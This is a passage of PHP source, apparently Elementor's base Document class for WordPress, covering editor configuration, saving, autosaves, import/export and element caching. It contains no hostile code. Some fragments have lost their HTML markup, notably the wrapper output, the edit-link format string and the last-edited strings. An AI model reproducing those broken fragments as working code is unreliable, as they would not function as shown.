} return [ 'title' => static::get_title(), // JS Container title. 'widgets_settings' => [], 'elements_categories' => self::get_filtered_editor_panel_categories(), 'default_route' => $default_route, 'has_elements' => static::get_property( 'has_elements' ), 'support_kit' => static::get_property( 'support_kit' ), 'messages' => [ 'publish_notification' => sprintf( /* translators: %s: Document title. */ esc_html__( 'Hurray! Your %s is live.', 'elementor' ), static::get_title() ), ], 'show_navigator' => static::get_property( 'show_navigator' ), 'allow_adding_widgets' => static::get_property( 'allow_adding_widgets' ), 'show_copy_and_share' => static::get_property( 'show_copy_and_share' ), 'library_close_title' => static::get_property( 'library_close_title' ), 'publish_button_title' => static::get_property( 'publish_button_title' ), 'allow_closing_remote_library' => static::get_property( 'allow_closing_remote_library' ), ]; } public static function get_filtered_editor_panel_categories(): array { $categories = static::get_editor_panel_categories(); $has_pro = Utils::has_pro(); foreach ( $categories as $index => $category ) { if ( isset( $category['promotion'] ) ) { $categories = self::get_panel_category_item( $category['promotion'], $index, $categories, $has_pro ); } } return $categories; } /** * @param $promotion * @param $index * @param array $categories * * @return array */ private static function get_panel_category_item( $promotion, $index, array $categories, bool $has_pro ): array { if ( ! $has_pro ) { $categories[ $index ]['promotion'] = Filtered_Promotions_Manager::get_filtered_promotion_data( $promotion, 'elementor/panel/' . $index . '/custom_promotion', 'url' ); } else { unset( $categories[ $index ]['promotion'] ); } return $categories; } /** * Get element title. * * Retrieve the element title. * * @since 2.0.0 * @access public * @static * * @return string Element title. */ public static function get_title() { return esc_html__( 'Document', 'elementor' ); } public static function get_plural_title() { return static::get_title(); } public static function get_add_new_title() { return sprintf( /* translators: %s: Document title. */ esc_html__( 'Add New %s', 'elementor' ), static::get_title() ); } /** * Get property. * * Retrieve the document property. * * @since 2.0.0 * @access public * @static * * @param string $key The property key. * * @return mixed The property value. */ public static function get_property( $key ) { $id = static::get_class_full_name(); if ( ! isset( self::$properties[ $id ] ) ) { self::$properties[ $id ] = static::get_properties(); } return self::get_items( self::$properties[ $id ], $key ); } /** * @since 2.0.0 * @access public * @static */ public static function get_class_full_name() { return get_called_class(); } public static function get_create_url() { $properties = static::get_properties(); // BC Support - Each document should define it own CPT this code is for BC support. $cpt = Source_Local::CPT; if ( isset( $properties['cpt'][0] ) ) { $cpt = $properties['cpt'][0]; } return Plugin::$instance->documents->get_create_new_post_url( $cpt, static::get_type() ); } public function get_name() { return static::get_type(); } /** * @since 2.0.0 * @access public */ public function get_unique_name() { return static::get_type() . '-' . $this->post->ID; } /** * @since 2.3.0 * @access public */ public function get_post_type_title() { $post_type_object = get_post_type_object( $this->post->post_type ); return $post_type_object->labels->singular_name; } /** * @since 2.0.0 * @access public */ public function get_main_id() { if ( ! $this->main_id ) { $post_id = $this->post->ID; $parent_post_id = wp_is_post_revision( $post_id ); if ( $parent_post_id ) { $post_id = $parent_post_id; } $this->main_id = $post_id; } return $this->main_id; } /** * @return null|Lock_Behavior */ public static function get_lock_behavior_v2() { return null; } /** * @since 2.0.0 * @access public * * @param $data * * @throws \Exception If the widget was not found. * * @return string */ public function render_element( $data ) { // Start buffering ob_start(); /** @var Widget_Base $widget */ $widget = Plugin::$instance->elements_manager->create_element_instance( $data ); if ( ! $widget ) { throw new \Exception( 'Widget not found.' ); } $widget->render_content(); $render_html = ob_get_clean(); return $render_html; } /** * @since 2.0.0 * @access public */ public function get_main_post() { return get_post( $this->get_main_id() ); } public function get_container_attributes() { $id = $this->get_main_id(); $attributes = [ 'data-elementor-type' => $this->get_name(), 'data-elementor-id' => $id, 'class' => 'elementor elementor-' . $id, ]; $version_meta = $this->get_main_meta( '_elementor_version' ); if ( version_compare( $version_meta, '2.5.0', '<' ) ) { $attributes['class'] .= ' elementor-bc-flex-widget'; } if ( Plugin::$instance->preview->is_preview() ) { $attributes['data-elementor-title'] = static::get_title(); } else { $elementor_settings = $this->get_frontend_settings(); if ( ! empty( $elementor_settings ) ) { $attributes['data-elementor-settings'] = wp_json_encode( $elementor_settings ); } } // apply this filter to allow the attributes to be modified by different sources return apply_filters( 'elementor/document/wrapper_attributes', $attributes, $this ); } /** * @since 2.0.0 * @access public */ public function get_wp_preview_url() { $main_post_id = $this->get_main_id(); $document = $this; // Ajax request from editor. $initial_document_id = Utils::get_super_global_value( $_POST, 'initial_document_id' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $initial_document_id ) ) { $document = Plugin::$instance->documents->get( $initial_document_id ); // phpcs:ignore WordPress.Security.NonceVerification.Missing } $url = get_preview_post_link( $document->get_main_id(), [ 'preview_id' => $main_post_id, 'preview_nonce' => wp_create_nonce( 'post_preview_' . $main_post_id ), ] ); /** * Document "WordPress preview" URL. * * Filters the WordPress preview URL. * * @since 2.0.0 * * @param string $url WordPress preview URL. * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/wp_preview', $url, $this ); return $url; } /** * @since 2.0.0 * @access public */ public function get_exit_to_dashboard_url() { $url = get_edit_post_link( $this->get_main_id(), 'raw' ); /** * Document "exit to dashboard" URL. * * Filters the "Exit To Dashboard" URL. * * @since 2.0.0 * * @param string $url The exit URL * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/exit_to_dashboard', $url, $this ); return $url; } /** * Get All Post Type URL * * Get url of the page which display all the posts of the current active document's post type. * * @since 3.7.0 * * @return string $url */ public function get_all_post_type_url() { $post_type = get_post_type( $this->get_main_id() ); $url = get_admin_url() . 'edit.php'; if ( 'post' !== $post_type ) { $url .= '?post_type=' . $post_type; } /** * Document "display all post type" URL. * * @since 3.7.0 * * @param string $url The URL. * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/all_post_type', $url, $this ); return $url; } /** * Get Main WP dashboard URL. * * @since 3.7.0 * * @return string $url */ protected function get_main_dashboard_url() { $url = get_dashboard_url(); /** * Document "Main Dashboard" URL. * * @since 3.7.0 * * @param string $url The URL. * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/main_dashboard', $url, $this ); return $url; } /** * Get auto-saved post revision. * * Retrieve the auto-saved post revision that is newer than current post. * * @since 2.0.0 * @access public * * * @return bool|Document */ public function get_newer_autosave() { $autosave = $this->get_autosave(); // Detect if there exists an autosave newer than the post. if ( $autosave && mysql2date( 'U', $autosave->get_post()->post_modified_gmt, false ) > mysql2date( 'U', $this->post->post_modified_gmt, false ) ) { return $autosave; } return false; } /** * @since 2.0.0 * @access public */ public function is_autosave() { return wp_is_post_autosave( $this->post->ID ); } /** * Check if the current document is a 'revision' * * @return bool */ public function is_revision() { return 'revision' === $this->post->post_type; } /** * Checks if the current document status is 'trash'. * * @return bool */ public function is_trash() { return 'trash' === $this->post->post_status; } /** * @since 2.0.0 * @access public * * @param int $user_id * @param bool $create * * @return bool|Document */ public function get_autosave( $user_id = 0, $create = false ) { if ( ! $user_id ) { $user_id = get_current_user_id(); } $autosave_id = $this->get_autosave_id( $user_id ); if ( $autosave_id ) { $document = Plugin::$instance->documents->get( $autosave_id ); } elseif ( $create ) { $autosave_id = wp_create_post_autosave( [ 'post_ID' => $this->post->ID, 'post_type' => $this->post->post_type, 'post_title' => $this->post->post_title, 'post_excerpt' => $this->post->post_excerpt, // Hack to cause $autosave_is_different=true in `wp_create_post_autosave`. 'post_content' => '', 'post_modified' => current_time( 'mysql' ), ] ); Plugin::$instance->db->copy_elementor_meta( $this->post->ID, $autosave_id ); $document = Plugin::$instance->documents->get( $autosave_id ); $document->save_template_type(); } else { $document = false; } return $document; } /** * Add/Remove edit link in dashboard. * * Add or remove an edit link to the post/page action links on the post/pages list table. * * Fired by `post_row_actions` and `page_row_actions` filters. * * @access public * * @param array $actions An array of row action links. * * @return array An updated array of row action links. */ public function filter_admin_row_actions( $actions ) { if ( $this->is_built_with_elementor() && $this->is_editable_by_current_user() ) { $actions['edit_with_elementor'] = sprintf( '%2$s', $this->get_edit_url(), __( 'Edit with Elementor', 'elementor' ) ); } return $actions; } /** * @since 2.0.0 * @access public */ public function is_editable_by_current_user() { $edit_capability = static::get_property( 'edit_capability' ); if ( $edit_capability && ! current_user_can( $edit_capability ) ) { return false; } return self::get_property( 'is_editable' ) && User::is_current_user_can_edit( $this->get_main_id() ); } /** * @since 2.9.0 * @access protected */ protected function get_initial_config() { // Get document data *after* the scripts hook - so plugins can run compatibility before get data, but *before* enqueue the editor script - so elements can enqueue their own scripts that depended in editor script. $locked_user = Plugin::$instance->editor->get_locked_user( $this->get_main_id() ); if ( $locked_user ) { $locked_user = $locked_user->display_name; } $post = $this->get_main_post(); $post_type_object = get_post_type_object( $post->post_type ); $settings = SettingsManager::get_settings_managers_config(); $config = [ 'id' => $this->get_main_id(), 'type' => $this->get_name(), 'version' => $this->get_main_meta( '_elementor_version' ), 'settings' => $settings['page'], 'remoteLibrary' => $this->get_remote_library_config(), 'last_edited' => $this->get_last_edited(), 'panel' => static::get_editor_panel_config(), 'container' => 'body', 'post_type_title' => $this->get_post_type_title(), 'user' => [ 'can_publish' => current_user_can( $post_type_object->cap->publish_posts ), // Deprecated config since 2.9.0. 'locked' => $locked_user, ], 'urls' => [ 'exit_to_dashboard' => $this->get_exit_to_dashboard_url(), // WP post type edit page 'all_post_type' => $this->get_all_post_type_url(), 'preview' => $this->get_preview_url(), 'wp_preview' => $this->get_wp_preview_url(), 'permalink' => $this->get_permalink(), 'have_a_look' => $this->get_have_a_look_url(), 'main_dashboard' => $this->get_main_dashboard_url(), ], ]; $post_status_object = get_post_status_object( $post->post_status ); if ( $post_status_object ) { $config['status'] = [ 'value' => $post_status_object->name, 'label' => $post_status_object->label, ]; } do_action( 'elementor/document/before_get_config', $this ); if ( static::get_property( 'has_elements' ) ) { $container_config = []; $experiments_manager = Plugin::$instance->experiments; if ( $experiments_manager->is_feature_active( 'container' ) ) { $container_config = [ 'container' => Plugin::$instance->elements_manager->get_element_types( 'container' )->get_config(), ]; } $config['elements'] = $this->get_elements_raw_data( null, true ); $config['widgets'] = $container_config + Plugin::$instance->widgets_manager->get_widget_types_config(); } $additional_config = []; /** * Additional document configuration. * * Filters the document configuration by adding additional configuration. * External developers can use this hook to add custom configuration in * addition to Elementor's initial configuration. * * Use the $post_id to add custom configuration for different pages. * * @param array $additional_config The additional document configuration. * @param int $post_id The post ID of the document. */ $additional_config = apply_filters( 'elementor/document/config', $additional_config, $this->get_main_id() ); if ( ! empty( $additional_config ) ) { $config = array_replace_recursive( $config, $additional_config ); } return $config; } /** * @since 3.1.0 * @access protected */ protected function register_controls() { $this->register_document_controls(); /** * Register document controls. * * Fires after Elementor registers the document controls. * * External developers can use this hook to add new controls to the document. * * @since 2.0.0 * * @param Document $this The document instance. */ do_action( 'elementor/documents/register_controls', $this ); } /** * @since 2.0.0 * @access public * * @param $data * * @return bool */ public function save( $data ) { /** * Set locale to "C" to avoid issues with comma as decimal separator. * * @see https://github.com/elementor/elementor/issues/10992 */ $original_lc = setlocale( LC_NUMERIC, 0 ); setlocale( LC_NUMERIC, 'C' ); /** * Document save data. * * Filter the document data before saving process starts. * * External developers can use this hook to change the data before * saving it to the database. * * @since 3.3.0 * * @param array $data The document data. * @param \Elementor\Core\Base\Document $this The document instance. */ $data = apply_filters( 'elementor/document/save/data', $data, $this ); $this->add_handle_revisions_changed_filter(); if ( ! $this->is_editable_by_current_user() ) { return false; } $this->set_is_saving( true ); /** * Before document save. * * Fires when document save starts on Elementor. * * @since 2.5.12 * * @param \Elementor\Core\Base\Document $this The current document. * @param $data. */ do_action( 'elementor/document/before_save', $this, $data ); if ( ! current_user_can( 'unfiltered_html' ) ) { $data = wp_kses_post_deep( $data ); } if ( ! empty( $data['settings'] ) ) { if ( isset( $data['settings']['post_status'] ) && self::STATUS_AUTOSAVE === $data['settings']['post_status'] ) { if ( ! defined( 'DOING_AUTOSAVE' ) ) { define( 'DOING_AUTOSAVE', true ); } } $this->save_settings( $data['settings'] ); $this->refresh_post(); } // Don't check is_empty, because an empty array should be saved. if ( isset( $data['elements'] ) && is_array( $data['elements'] ) ) { $this->save_elements( $data['elements'] ); } $this->save_template_type(); $this->save_version(); // Remove Post CSS $post_css = Post_CSS::create( $this->post->ID ); $post_css->delete(); // Remove Document Cache $this->delete_cache(); /** * After document save. * * Fires when document save is complete. * * @since 2.5.12 * * @param \Elementor\Core\Base\Document $this The current document. * @param $data. */ do_action( 'elementor/document/after_save', $this, $data ); $this->set_is_saving( false ); $this->remove_handle_revisions_changed_filter(); setlocale( LC_NUMERIC, $original_lc ); return true; } public function refresh_post() { $this->post = get_post( $this->post->ID ); } /** * @param array $new_settings * * @return static */ public function update_settings( array $new_settings ) { $document_settings = $this->get_meta( PageManager::META_KEY ); if ( ! $document_settings ) { $document_settings = []; } $this->save_settings( array_replace_recursive( $document_settings, $new_settings ) ); return $this; } /** * Is built with Elementor. * * Check whether the post was built with Elementor. * * @since 2.0.0 * @access public * * @return bool Whether the post was built with Elementor. */ public function is_built_with_elementor() { return ! ! $this->get_meta( self::BUILT_WITH_ELEMENTOR_META_KEY ); } /** * Mark the post as "built with elementor" or not. * * @param bool $is_built_with_elementor * * @return $this */ public function set_is_built_with_elementor( $is_built_with_elementor ) { if ( $is_built_with_elementor ) { // Use the string `builder` and not a boolean for rollback compatibility $this->update_meta( self::BUILT_WITH_ELEMENTOR_META_KEY, 'builder' ); } else { $this->delete_meta( self::BUILT_WITH_ELEMENTOR_META_KEY ); } return $this; } /** * @since 2.0.0 * @access public * @static * * @return mixed */ public function get_edit_url() { $url = add_query_arg( [ 'post' => $this->get_main_id(), 'action' => 'elementor', ], admin_url( 'post.php' ) ); /** * Document edit url. * * Filters the document edit url. * * @since 2.0.0 * * @param string $url The edit url. * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/edit', $url, $this ); return $url; } /** * @since 2.0.0 * @access public */ public function get_preview_url() { /** * Use a static var - to avoid change the `ver` parameter on every call. */ static $url; if ( empty( $url ) ) { add_filter( 'pre_option_permalink_structure', '__return_empty_string' ); $url = set_url_scheme( add_query_arg( [ 'elementor-preview' => $this->get_main_id(), 'ver' => time(), ], $this->get_permalink() ) ); remove_filter( 'pre_option_permalink_structure', '__return_empty_string' ); /** * Document preview URL. * * Filters the document preview URL. * * @since 2.0.0 * * @param string $url The preview URL. * @param Document $this The document instance. */ $url = apply_filters( 'elementor/document/urls/preview', $url, $this ); } return $url; } /** * @since 2.0.0 * @access public * * @param string $key * * @return array */ public function get_json_meta( $key ) { $meta = get_post_meta( $this->post->ID, $key, true ); if ( is_string( $meta ) && ! empty( $meta ) ) { $meta = json_decode( $meta, true ); } if ( empty( $meta ) ) { $meta = []; } return $meta; } public function update_json_meta( $key, $value ) { $this->update_meta( $key, // `wp_slash` in order to avoid the unslashing during the `update_post_meta` wp_slash( wp_json_encode( $value ) ) ); } /** * @since 2.0.0 * @access public * * @param null $data * @param bool $with_html_content * * @return array */ public function get_elements_raw_data( $data = null, $with_html_content = false ) { if ( ! static::get_property( 'has_elements' ) ) { return []; } if ( is_null( $data ) ) { $data = $this->get_elements_data(); } // Change the current documents, so widgets can use `documents->get_current` and other post data Plugin::$instance->documents->switch_to_document( $this ); $editor_data = []; foreach ( $data as $element_data ) { if ( ! is_array( $element_data ) ) { throw new \Exception( 'Invalid data: ' . wp_json_encode( [ 'data' => $data, 'element' => $element_data, ] ) ); } $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( ! $element ) { continue; } if ( $this->is_saving ) { $element_data = $element->get_data_for_save(); } else { $element_data = $element->get_raw_data( $with_html_content ); } $editor_data[] = $element_data; } // End foreach(). Plugin::$instance->documents->restore_document(); return $editor_data; } /** * @since 2.0.0 * @access public * * @param string $status * * @return array */ public function get_elements_data( $status = self::STATUS_PUBLISH ) { $elements = $this->get_json_meta( '_elementor_data' ); if ( self::STATUS_DRAFT === $status ) { $autosave = $this->get_newer_autosave(); if ( is_object( $autosave ) ) { $autosave_elements = Plugin::$instance->documents ->get( $autosave->get_post()->ID ) ->get_json_meta( '_elementor_data' ); } } if ( Plugin::$instance->editor->is_edit_mode() ) { if ( empty( $elements ) && empty( $autosave_elements ) ) { // Convert to Elementor. $elements = $this->convert_to_elementor(); if ( $this->is_autosave() ) { Plugin::$instance->db->copy_elementor_meta( $this->post->post_parent, $this->post->ID ); } } } if ( ! empty( $autosave_elements ) ) { $elements = $autosave_elements; } return $elements; } /** * Get document setting from DB. * * @return array */ public function get_db_document_settings() { return $this->get_meta( static::PAGE_META_KEY ); } /** * @since 2.3.0 * @access public */ public function convert_to_elementor() { $this->save( [] ); if ( empty( $this->post->post_content ) ) { return []; } // Check if it's only a shortcode. preg_match_all( '/' . get_shortcode_regex() . '/', $this->post->post_content, $matches, PREG_SET_ORDER ); if ( ! empty( $matches ) ) { foreach ( $matches as $shortcode ) { if ( trim( $this->post->post_content ) === $shortcode[0] ) { $widget_type = Plugin::$instance->widgets_manager->get_widget_types( 'shortcode' ); $settings = [ 'shortcode' => $this->post->post_content, ]; break; } } } if ( empty( $widget_type ) ) { $widget_type = Plugin::$instance->widgets_manager->get_widget_types( 'text-editor' ); $settings = [ 'editor' => $this->post->post_content, ]; } // TODO: Better coding to start template for editor $converted_blocks = [ [ 'id' => Utils::generate_random_string(), 'elType' => $widget_type::get_type(), 'widgetType' => $widget_type->get_name(), 'settings' => $settings, ], ]; return Plugin::$instance->experiments->is_feature_active( 'container' ) ? $this->get_container_elements_data( $converted_blocks ) : $this->get_sections_elements_data( $converted_blocks ); } /** * @since 2.1.3 * @access public */ public function print_elements_with_wrapper( $elements_data = null ) { if ( ! $elements_data ) { $elements_data = $this->get_elements_data(); } ?>
get_container_attributes() ); ?>> print_elements( $elements_data ); ?>
sprintf( /* translators: %s: Document title. */ esc_html__( '%s Settings', 'elementor' ), static::get_title() ), ]; } /** * @since 2.0.0 * @access public */ public function get_post() { return $this->post; } /** * @since 2.0.0 * @access public */ public function get_permalink() { return get_permalink( $this->get_main_id() ); } /** * @since 2.0.8 * @access public */ public function get_content( $with_css = false ) { return Plugin::$instance->frontend->get_builder_content( $this->post->ID, $with_css ); } /** * @since 2.0.0 * @access public */ public function delete() { if ( 'revision' === $this->post->post_type ) { $deleted = wp_delete_post_revision( $this->post ); } else { $deleted = wp_delete_post( $this->post->ID ); } return $deleted && ! is_wp_error( $deleted ); } public function force_delete() { $deleted = wp_delete_post( $this->post->ID, true ); return $deleted && ! is_wp_error( $deleted ); } /** * On import update dynamic content (e.g. post and term IDs). * * @since 3.8.0 * * @param array $config The config of the passed element. * @param array $data The data that requires updating/replacement when imported. * @param array|null $controls The available controls. * * @return array Element data. */ public static function on_import_update_dynamic_content( array $config, array $data, $controls = null ) : array { foreach ( $config as &$element_config ) { $element_instance = Plugin::$instance->elements_manager->create_element_instance( $element_config ); if ( is_null( $element_instance ) ) { continue; } if ( $element_instance->has_own_method( 'on_import_replace_dynamic_content' ) ) { // TODO: Remove this check in the future. $element_config = $element_instance::on_import_replace_dynamic_content( $element_config, $data['post_ids'] ); } else { $element_config = $element_instance::on_import_update_dynamic_content( $element_config, $data, $element_instance->get_controls() ); } $element_config['elements'] = static::on_import_update_dynamic_content( $element_config['elements'], $data ); } return $config; } /** * Update dynamic settings in the document for import. * * @param array $settings The settings of the document. * @param array $config Import config to update the settings. * * @return array */ public function on_import_update_settings( array $settings, array $config ): array { $controls = $this->get_controls(); $controls_manager = Plugin::$instance->controls_manager; foreach ( $settings as $key => $value ) { if ( ! isset( $controls[ $key ] ) ) { continue; } $control = $controls[ $key ]; $control_instance = $controls_manager->get_control( $control['type'] ); if ( ! $control_instance ) { continue; } $settings[ $key ] = $control_instance->on_import_update_settings( $value, $control, $config ); } return $settings; } /** * Save editor elements. * * Save data from the editor to the database. * * @since 2.0.0 * @access protected * * @param array $elements */ protected function save_elements( $elements ) { $editor_data = $this->get_elements_raw_data( $elements ); // We need the `wp_slash` in order to avoid the unslashing during the `update_post_meta` $json_value = wp_slash( wp_json_encode( $editor_data ) ); // Don't use `update_post_meta` that can't handle `revision` post type $is_meta_updated = update_metadata( 'post', $this->post->ID, '_elementor_data', $json_value ); /** * Before saving data. * * Fires before Elementor saves data to the database. * * @since 1.0.0 * * @param string $status Post status. * @param int|bool $is_meta_updated Meta ID if the key didn't exist, true on successful update, false on failure. */ do_action( 'elementor/db/before_save', $this->post->post_status, $is_meta_updated ); Plugin::$instance->db->save_plain_text( $this->post->ID ); $elements_iteration_actions = $this->get_elements_iteration_actions(); if ( $elements_iteration_actions ) { $this->iterate_elements( $elements, $elements_iteration_actions, 'save' ); } /** * After saving data. * * Fires after Elementor saves data to the database. * * @since 1.0.0 * * @param int $post_id The ID of the post. * @param array $editor_data Sanitize posted data. */ do_action( 'elementor/editor/after_save', $this->post->ID, $editor_data ); } /** * @since 2.0.0 * @access public * * @param int $user_id Optional. User ID. Default value is `0`. * * @return bool|int */ public function get_autosave_id( $user_id = 0 ) { if ( ! $user_id ) { $user_id = get_current_user_id(); } $autosave = Utils::get_post_autosave( $this->post->ID, $user_id ); if ( $autosave ) { return $autosave->ID; } return false; } public function save_version() { if ( ! defined( 'IS_ELEMENTOR_UPGRADE' ) ) { // Save per revision. $this->update_meta( '_elementor_version', ELEMENTOR_VERSION ); /** * Document version save. * * Fires when document version is saved on Elementor. * Will not fire during Elementor Upgrade. * * @since 2.5.12 * * @param \Elementor\Core\Base\Document $this The current document. * */ do_action( 'elementor/document/save_version', $this ); } } /** * @since 2.3.0 * @access public */ public function save_template_type() { return $this->update_main_meta( self::TYPE_META_KEY, $this->get_name() ); } /** * @since 2.3.0 * @access public */ public function get_template_type() { return $this->get_main_meta( self::TYPE_META_KEY ); } /** * @since 2.0.0 * @access public * * @param string $key Meta data key. * * @return mixed */ public function get_main_meta( $key ) { return get_post_meta( $this->get_main_id(), $key, true ); } /** * @since 2.0.4 * @access public * * @param string $key Meta data key. * @param mixed $value Meta data value. * * @return bool|int */ public function update_main_meta( $key, $value ) { return update_post_meta( $this->get_main_id(), $key, $value ); } /** * @since 2.0.4 * @access public * * @param string $key Meta data key. * @param string $value Optional. Meta data value. Default is an empty string. * * @return bool */ public function delete_main_meta( $key, $value = '' ) { return delete_post_meta( $this->get_main_id(), $key, $value ); } /** * @since 2.0.0 * @access public * * @param string $key Meta data key. * * @return mixed */ public function get_meta( $key ) { return get_post_meta( $this->post->ID, $key, true ); } /** * @since 2.0.0 * @access public * * @param string $key Meta data key. * @param mixed $value Meta data value. * * @return bool|int */ public function update_meta( $key, $value ) { // Use `update_metadata` in order to work also with revisions. return update_metadata( 'post', $this->post->ID, $key, $value ); } /** * @since 2.0.3 * @access public * * @param string $key Meta data key. * @param string $value Meta data value. * * @return bool */ public function delete_meta( $key, $value = '' ) { // Use `delete_metadata` in order to work also with revisions. return delete_metadata( 'post', $this->post->ID, $key, $value ); } /** * @since 2.0.0 * @access public */ public function get_last_edited() { $post = $this->post; $autosave_post = $this->get_autosave(); if ( $autosave_post ) { $post = $autosave_post->get_post(); } $date = date_i18n( _x( 'M j, H:i', 'revision date format', 'elementor' ), strtotime( $post->post_modified ) ); $display_name = get_the_author_meta( 'display_name', $post->post_author ); if ( $autosave_post || 'revision' === $post->post_type ) { $last_edited = sprintf( /* translators: 1: Saving date, 2: Author display name. */ esc_html__( 'Draft saved on %1$s by %2$s', 'elementor' ), '', $display_name ); } else { $last_edited = sprintf( /* translators: 1: Editing date, 2: Author display name. */ esc_html__( 'Last edited on %1$s by %2$s', 'elementor' ), '', $display_name ); } return $last_edited; } /** * @return bool */ public function is_saving() { return $this->is_saving; } /** * @param $is_saving * * @return $this */ public function set_is_saving( $is_saving ) { $this->is_saving = $is_saving; return $this; } /** * @since 2.0.0 * @access public * * @param array $data * * @throws \Exception If the post does not exist. */ public function __construct( array $data = [] ) { if ( $data ) { if ( empty( $data['post_id'] ) ) { $this->post = new \WP_Post( (object) [] ); } else { $this->post = get_post( $data['post_id'] ); if ( ! $this->post ) { throw new \Exception( sprintf( 'Post ID #%s does not exist.', $data['post_id'] ), Exceptions::NOT_FOUND ); } } // Each Control_Stack is based on a unique ID. $data['id'] = $data['post_id']; if ( ! isset( $data['settings'] ) ) { $data['settings'] = []; } $saved_settings = get_post_meta( $this->post->ID, '_elementor_page_settings', true ); if ( ! empty( $saved_settings ) && is_array( $saved_settings ) ) { $data['settings'] += $saved_settings; } } parent::__construct( $data ); } /* * Get Export Data * * Filters a document's data on export * * @since 3.2.0 * @access public * * @return array The data to export */ public function get_export_data() { $content = Plugin::$instance->db->iterate_data( $this->get_elements_data(), function( $element_data ) { $element_data['id'] = Utils::generate_random_string(); $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); // If the widget/element does not exist, like a plugin that creates a widget but deactivated. if ( ! $element ) { return null; } return $this->process_element_import_export( $element, 'on_export' ); } ); return [ 'content' => $content, 'settings' => $this->get_data( 'settings' ), 'metadata' => $this->get_export_metadata(), ]; } public function get_export_summary() { return [ 'title' => $this->post->post_title, 'doc_type' => $this->get_name(), 'thumbnail' => get_the_post_thumbnail_url( $this->post ), ]; } /* * Get Import Data * * Filters a document's data on import * * @since 3.2.0 * @access public * * @return array The data to import */ public function get_import_data( array $data ) { $data['content'] = Plugin::$instance->db->iterate_data( $data['content'], function( $element_data ) { $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); // If the widget/element isn't exist, like a plugin that creates a widget but deactivated if ( ! $element ) { return null; } return $this->process_element_import_export( $element, 'on_import' ); } ); if ( ! empty( $data['settings'] ) ) { $template_model = new Page_Model( [ 'id' => 0, 'settings' => $data['settings'], ] ); $page_data = $this->process_element_import_export( $template_model, 'on_import' ); $data['settings'] = $page_data['settings']; } return $data; } /** * Import * * Allows to import an external data to a document * * @since 3.2.0 * @access public * * @param array $data */ public function import( array $data ) { $data = $this->get_import_data( $data ); $this->save( [ 'elements' => $data['content'], 'settings' => $data['settings'], ] ); if ( $data['import_settings']['thumbnail'] ) { $attachment = Plugin::$instance->templates_manager->get_import_images_instance()->import( [ 'url' => $data['import_settings']['thumbnail'] ] ); set_post_thumbnail( $this->get_main_post(), $attachment['id'] ); } if ( ! empty( $data['metadata'] ) ) { foreach ( $data['metadata'] as $key => $value ) { $this->update_meta( $key, $value ); } } } public function process_element_import_export( Controls_Stack $element, $method, $element_data = null ) { if ( null === $element_data ) { $element_data = $element->get_data(); } if ( method_exists( $element, $method ) ) { // TODO: Use the internal element data without parameters. $element_data = $element->{$method}( $element_data ); } foreach ( $element->get_controls() as $control ) { $control_class = Plugin::$instance->controls_manager->get_control( $control['type'] ); // If the control isn't exist, like a plugin that creates the control but deactivated. if ( ! $control_class ) { return $element_data; } // Do not add default value to the final settings, if there is no value at the // data before the methods `on_import` or `on_export` called. $has_value = isset( $element_data['settings'][ $control['name'] ] ); if ( $has_value && method_exists( $control_class, $method ) ) { $element_data['settings'][ $control['name'] ] = $control_class->{$method}( $element_data['settings'][ $control['name'] ], $control ); } // On Export, check if the control has an argument 'export' => false. if ( 'on_export' === $method && isset( $control['export'] ) && false === $control['export'] ) { unset( $element_data['settings'][ $control['name'] ] ); } } return $element_data; } protected function get_export_metadata() { $metadata = get_post_meta( $this->get_main_id() ); foreach ( $metadata as $meta_key => $meta_value ) { if ( is_protected_meta( $meta_key, 'post' ) ) { unset( $metadata[ $meta_key ] ); continue; } $metadata[ $meta_key ] = $meta_value[0]; } return $metadata; } protected function get_remote_library_config() { $config = [ 'type' => 'block', 'default_route' => 'templates/blocks', 'category' => $this->get_name(), 'autoImportSettings' => false, ]; return $config; } /** * @since 2.0.4 * @access protected * * @param $settings */ protected function save_settings( $settings ) { $page_settings_manager = SettingsManager::get_settings_managers( 'page' ); $page_settings_manager->ajax_before_save_settings( $settings, $this->post->ID ); $page_settings_manager->save_settings( $settings, $this->post->ID ); } /** * @since 2.1.3 * @access protected */ protected function print_elements( $elements_data ) { if ( ! Plugin::$instance->experiments->is_feature_active( 'e_element_cache' ) ) { $this->do_print_elements( $elements_data ); return; } $cached_data = $this->get_document_cache(); if ( false === $cached_data ) { add_filter( 'elementor/element/should_render_shortcode', '__return_true' ); $scripts_to_queue = []; $styles_to_queue = []; global $wp_scripts, $wp_styles; $should_store_scripts = $wp_scripts instanceof \WP_Scripts && $wp_styles instanceof \WP_Styles; if ( $should_store_scripts ) { $scripts_ignored = $wp_scripts->queue; $styles_ignored = $wp_styles->queue; } ob_start(); $this->do_print_elements( $elements_data ); if ( $should_store_scripts ) { $scripts_to_queue = array_values( array_diff( $wp_scripts->queue, $scripts_ignored ) ); $styles_to_queue = array_values( array_diff( $wp_styles->queue, $styles_ignored ) ); } $cached_data = [ 'content' => ob_get_clean(), 'scripts' => $scripts_to_queue, 'styles' => $styles_to_queue, ]; if ( $this->should_store_cache_elements() ) { $this->set_document_cache( $cached_data ); } remove_filter( 'elementor/element/should_render_shortcode', '__return_true' ); } else { if ( ! empty( $cached_data['scripts'] ) ) { foreach ( $cached_data['scripts'] as $script_handle ) { wp_enqueue_script( $script_handle ); } } if ( ! empty( $cached_data['styles'] ) ) { foreach ( $cached_data['styles'] as $style_handle ) { wp_enqueue_style( $style_handle ); } } } if ( ! empty( $cached_data['content'] ) ) { echo do_shortcode( $cached_data['content'] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } protected function do_print_elements( $elements_data ) { // Collect all data updaters that should be updated on runtime. $runtime_elements_iteration_actions = $this->get_runtime_elements_iteration_actions(); if ( $runtime_elements_iteration_actions ) { $this->iterate_elements( $elements_data, $runtime_elements_iteration_actions, 'render' ); } foreach ( $elements_data as $element_data ) { $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( ! $element ) { continue; } $element->print_element(); } } public function set_document_cache( $value ) { $expiration_hours = get_option( 'elementor_element_cache_ttl', '' ); if ( empty( $expiration_hours ) || ! is_numeric( $expiration_hours 